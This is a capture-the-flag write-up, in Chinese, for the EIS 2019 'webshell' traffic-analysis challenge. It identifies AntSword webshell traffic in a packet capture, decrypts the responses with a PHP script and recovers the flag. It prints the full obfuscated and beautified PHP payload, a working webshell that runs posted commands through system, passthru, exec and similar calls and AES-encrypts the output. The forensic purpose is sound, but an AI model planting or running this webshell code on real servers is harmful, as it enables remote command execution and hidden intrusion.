EIS 2019 webshell

请求中可以确定是http POST流量
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同时可以判断是 蚁剑的流量
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进一步过滤 http.request.method =="POST"
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直接追踪其tcp流
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  • 得到 列举部分
@eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28)

直接输出一下 内容

<?php
echo(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x6b).ChR(0x65).ChR(0x79).ChR(0x3d).ChR(0x27).ChR(0x66).ChR(0x35).ChR(0x30).ChR(0x34).ChR(0x35).ChR(0x62).ChR(0x30).ChR(0x35).ChR(0x61).ChR(0x62).ChR(0x65).ChR(0x36).ChR(0x65).ChR(0x63).ChR(0x39).ChR(0x62).ChR(0x31).ChR(0x65).ChR(0x33).ChR(0x37).ChR(0x66).ChR(0x61).ChR(0x66).ChR(0x61).ChR(0x38).ChR(0x35).ChR(0x31).ChR(0x66).ChR(0x35).ChR(0x64).ChR(0x65).ChR(0x39).ChR(0x27).ChR(0x3b).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x40).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x73).ChR(0x73).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x72).ChR(0x79).ChR(0x70).ChR(0x74).ChR(0x28).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x2c).ChR(0x20).ChR(0x27).ChR(0x41).ChR(0x45).ChR(0x53).ChR(0x2d).ChR(0x31).ChR(0x32).ChR(0x38).ChR(0x2d).ChR(0x45).ChR(0x43).ChR(0x42).ChR(0x27).ChR(0x2c).ChR(0x20).ChR(0x24).ChR(0x6b).ChR(0x65).ChR(0x79).ChR(0x2c).ChR(0x20).ChR(0x4f).ChR(0x50).ChR(0x45).ChR(0x4e).ChR(0x53).ChR(0x53).ChR(0x4c).ChR(0x5f).ChR(0x52).ChR(0x41).ChR(0x57).ChR(0x5f).ChR(0x44).ChR(0x41).ChR(0x54).ChR(0x41).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x3d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x63).ChR(0x6f).ChR(0x6e).ChR(0x74).ChR(0x65).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x64).ChR(0x5f).ChR(0x63).ChR(0x6c).ChR(0x65).ChR(0x61).ChR(0x6e).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x38).ChR(0x39).ChR(0x37).ChR(0x64).ChR(0x22).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x40).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x36).ChR(0x30).ChR(0x63).ChR(0x39).ChR(0x37).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x74).ChR(0x72).ChR(0x79).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x63).ChR(0x34).ChR(0x36).ChR(0x31).ChR(0x65).ChR(0x38).ChR(0x36).ChR(0x31).ChR(0x39).ChR(0x36).ChR(0x66).ChR(0x31).ChR(0x61).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x73).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x39).ChR(0x65).ChR(0x63).ChR(0x33).ChR(0x66).ChR(0x61).ChR(0x39).ChR(0x38).ChR(0x61).ChR(0x32).ChR(0x38).ChR(0x33).ChR(0x66).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x53).ChR(0x43).ChR(0x52).ChR(0x49).ChR(0x50).ChR(0x54).ChR(0x5f).ChR(0x46).ChR(0x49).ChR(0x4c).ChR(0x45).ChR(0x4e).ChR(0x41).ChR(0x4d).ChR(0x45).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x63).ChR(0x3d).ChR(0x73).ChR(0x75).ChR(0x62).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x2c).ChR(0x30).ChR(0x2c).ChR(0x31).ChR(0x29).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3f).ChR(0x22).ChR(0x2d).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x2f).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x7d).ChR(0x20).ChR(0x7b).ChR(0x24).ChR(0x63).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x65).ChR(0x78).ChR(0x70).ChR(0x6c).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x2c).ChR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x5f).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x73).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x65).ChR(0x6d).ChR(0x70).ChR(0x74).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x74).ChR(0x72).ChR(0x69).ChR(0x6d).ChR(0x27).ChR(0x2c).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x74).ChR(0x6f).ChR(0x6c).ChR(0x6f).ChR(0x77).ChR(0x65).ChR(0x72).ChR(0x27).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x63).ChR(0x61).ChR(0x6c).ChR(0x6c).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x21).ChR(0x69).ChR(0x6e).ChR(0x5f).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x30).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x6a).ChR(0x6f).ChR(0x69).ChR(0x6e).ChR(0x28).ChR(0x22).ChR(0xa).ChR(0x22).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x3d).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x27).ChR(0x72).ChR(0x27).ChR(0x29).ChR(0x3b).ChR(0x77).ChR(0x68).ChR(0x69).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x21).ChR(0x40).ChR(0x66).ChR(0x65).ChR(0x6f).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x66).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x2c).ChR(0x20).ChR(0x32).ChR(0x30).ChR(0x34).ChR(0x38).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x40).ChR(0x70).ChR(0x63).ChR(0x6c).ChR(0x6f).ChR(0x73).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x20).ChR(0x3d).ChR(0x20).ChR(0x31).ChR(0x32).ChR(0x37).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x40).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x2e).ChR(0x22).ChR(0x20).ChR(0x32).ChR(0x3e).ChR(0x26).ChR(0x31).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x20).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x21).ChR(0x3d).ChR(0x30).ChR(0x29).ChR(0x3f).ChR(0x22).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x7d).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x3b).ChR(0x7d).ChR(0x63).ChR(0x61).ChR(0x74).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x45).ChR(0x78).ChR(0x63).ChR(0x65).ChR(0x70).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x65).ChR(0x29).ChR(0x7b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x45).ChR(0x52).ChR(0x52).ChR(0x4f).ChR(0x52).ChR(0x3a).ChR(0x2f).ChR(0x2f).ChR(0x22).ChR(0x2e).ChR(0x24).ChR(0x65).ChR(0x2d).ChR(0x3e).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x4d).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x61).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b));
?>

image.png
php代码美化后

<?php
echo "Hello World !";
?>@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	@session_start();
	$key='f5045b05abe6ec9b1e37fafa851f5de9';
	return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}
;
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "0897d";
	echo @asenc($output);
	echo "60c97";
}
ob_start();
try {
	$p=base64_decode($_POST["0xc461e86196f1a"]);
	$s=base64_decode($_POST["0x9ec3fa98a283f"]);
	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
	$r="{$p} {$c}";
	function fe($f) {
		$d=explode(",",@ini_get("disable_functions"));
		if(empty($d)) {
			$d=array();
		} else {
			$d=array_map('trim',array_map('strtolower',$d));
		}
		return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
	}
	;
	function runcmd($c) {
		$ret=0;
		if(fe('system')) {
			@system($c,$ret);
		} elseif(fe('passthru')) {
			@passthru($c,$ret);
		} elseif(fe('shell_exec')) {
			print(@shell_exec($c));
		} elseif(fe('exec')) {
			@exec($c,$o,$ret);
			print(join("
",$o));
		} elseif(fe('popen')) {
			$fp=@popen($c,'r');
			while(!@feof($fp)) {
				print(@fgets($fp, 2048));
			}
			@pclose($fp);
		} elseif(fe('antsystem')) {
			@antsystem($c);
		} else {
			$ret = 127;
		}
		return $ret;
	}
	;
	$ret=@runcmd($r." 2>&1");
	print ($ret!=0)?"ret={$ret}":"";
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

已知加密的逻辑

function asenc($out) {
	@session_start();
	$key='f5045b05abe6ec9b1e37fafa851f5de9';
	return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}
;
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "0897d";
	echo @asenc($output);
	echo "60c97";
}

对加密逻辑相反对应的解密脚本

<?php

$cipher = "";

function decrypt($cipher) {
    $key = 'f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};

$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);

对每个tcp流响应尝试解密 最后发现第7个响应数据包

8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnf

<?php

$cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10";

function decrypt($cipher) {
    $key = 'f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};

$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);

image.png
base64解码后就是flag
image.png
flag{AntSword_is_Powerful_3222222!!!}

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